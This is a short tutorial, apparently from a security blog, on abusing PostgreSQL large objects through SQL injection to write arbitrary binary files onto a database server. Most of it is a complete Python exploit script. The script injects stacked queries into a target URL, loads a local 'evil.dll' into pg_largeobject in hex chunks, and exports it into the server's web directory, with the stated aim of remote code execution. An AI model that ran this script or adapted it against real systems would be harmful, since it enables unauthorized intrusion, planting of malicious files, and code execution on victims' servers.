Skip to content

Uploading files to a server using postgres SQL injection

We can use the postgres functionality called large_objects to upload all types of files to the postgres server.

This functionality is extremely useful, as it allows us to upload even binary files to the server using only SQL injection. This is incredibly useful, especially when uploading postgres modules, and can easily result in remote code execution.

Using Large Objects

Below you will find a script that abuses the large object functionality of postgres. It will use pure SQL injection to upload chunks of a binary file to the postgres server. Once all the chunks are properly uploaded, it will export the file to the desired location on the server.

The python script:

#!/usr/bin/env python3

import base64
import urllib3
import requests
import re
import math

# Bash colors
off='\033[0m'       # Text Reset
red='\033[0;91m'          # Red
grn='\033[0;32m'        # Green

vulnerable_url = 'https://some-endpoint.com/vulnerable-url'
injectable_data = 'someparams=hello&injectable-param={}'
request_type = 'POST' # GET or POST

query_container = "100; {} -- -"
dummy_file_location = 'C:\\windows\\win.ini' # We need a dummy file we can read, that exists, to read something into the database
export_file_location = 'C:\\InetPub\\evil.dll' # This is the location where you want to upload the binary file

bin_file = open('evil.dll', 'rb').read()
binary_data = ''.join('{:02X}'.format(c) for c in bin_file)

enable_burp_proxy = False
cookies = None #{ "name" : "value"}

######################################################################################################

proxies = None
if enable_burp_proxy:
    proxies = {
        "http"  : "127.0.0.1:8080",
        "https" : "127.0.0.1:8080"
    }

# Disable ssl cert warning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def execute(query):
    query = query_container.format(query)
    query = query.replace("'", '$$')

    resp = inject_request(query)


def inject_request(injection_data):
    url = vulnerable_url
    data = dict(item.split("=") for item in injectable_data.split("&"))

    for k, v in data.items():
        data[k] = v.format(injection_data)

    if request_type is 'GET':
        response = requests.get(url, params=data, proxies=proxies, cookies=cookies, verify=False)
    elif request_type is 'POST':
        response = requests.post(url, data=data, proxies=proxies, cookies=cookies, verify=False)
    else:
        response = None
    return response


def create_lo(loid):
    good(f"Creating LO for file injection (id={loid})")
    q = f"select lo_import('{dummy_file_location}',{loid})"
    execute(q)


def delete_lo(loid):
    good(f"Deleting LO with id {loid}")
    q = f"select lo_unlink({loid})"
    execute(q)


def inject_lo(loid):
    bin_len = len(binary_data)/2
    page_size = 2048
    good(f"Injecting LO {loid} with binary data (length = {bin_len})")
    info(f"Assuming page size of {page_size} bytes (default is 2048)")
    info(f"Writing {math.ceil(bin_len/page_size)} pages...")
    for i in range(0, math.ceil(bin_len/page_size)):
        chunk = binary_data[i*2*page_size:(i+1)*2*page_size]
        if i == 0:
            # First page already exists
            q = f"update PG_LARGEOBJECT set data=decode('{chunk}', 'hex') where loid={loid} and pageno={i}"
            execute(q)
        else:
            q = f"insert into PG_LARGEOBJECT (loid, pageno, data) values ({loid}, {i}, decode('{chunk}', 'hex'))"
            execute(q)
        info(f"Written page {i+1}/{math.ceil(bin_len/page_size)}")



def export_lo(loid):
    good(f"Exporting LO {loid} to file {export_file_location}")
    q = f"select lo_export({loid}, '{export_file_location}')"
    execute(q)


def main():
    if not (request_type is 'GET' or request_type is 'POST'):
        err(f"request type not set! Should be 'GET' or 'POST' but is '{request_type}'!")
        exit()
    if enable_burp_proxy:
        info(f"Tunneling all requests through proxy {proxies}")

    loid = "1337"
    create_lo(loid)
    inject_lo(loid)
    export_lo(loid)
    delete_lo(loid)

    good("DONE!")

def err(msg):
    print(f"{red}[-] {msg}{off}")

def good(msg):
    print(f"{grn}[+] {msg}{off}")

def info(msg):
    print(f"[*] {msg}")

main()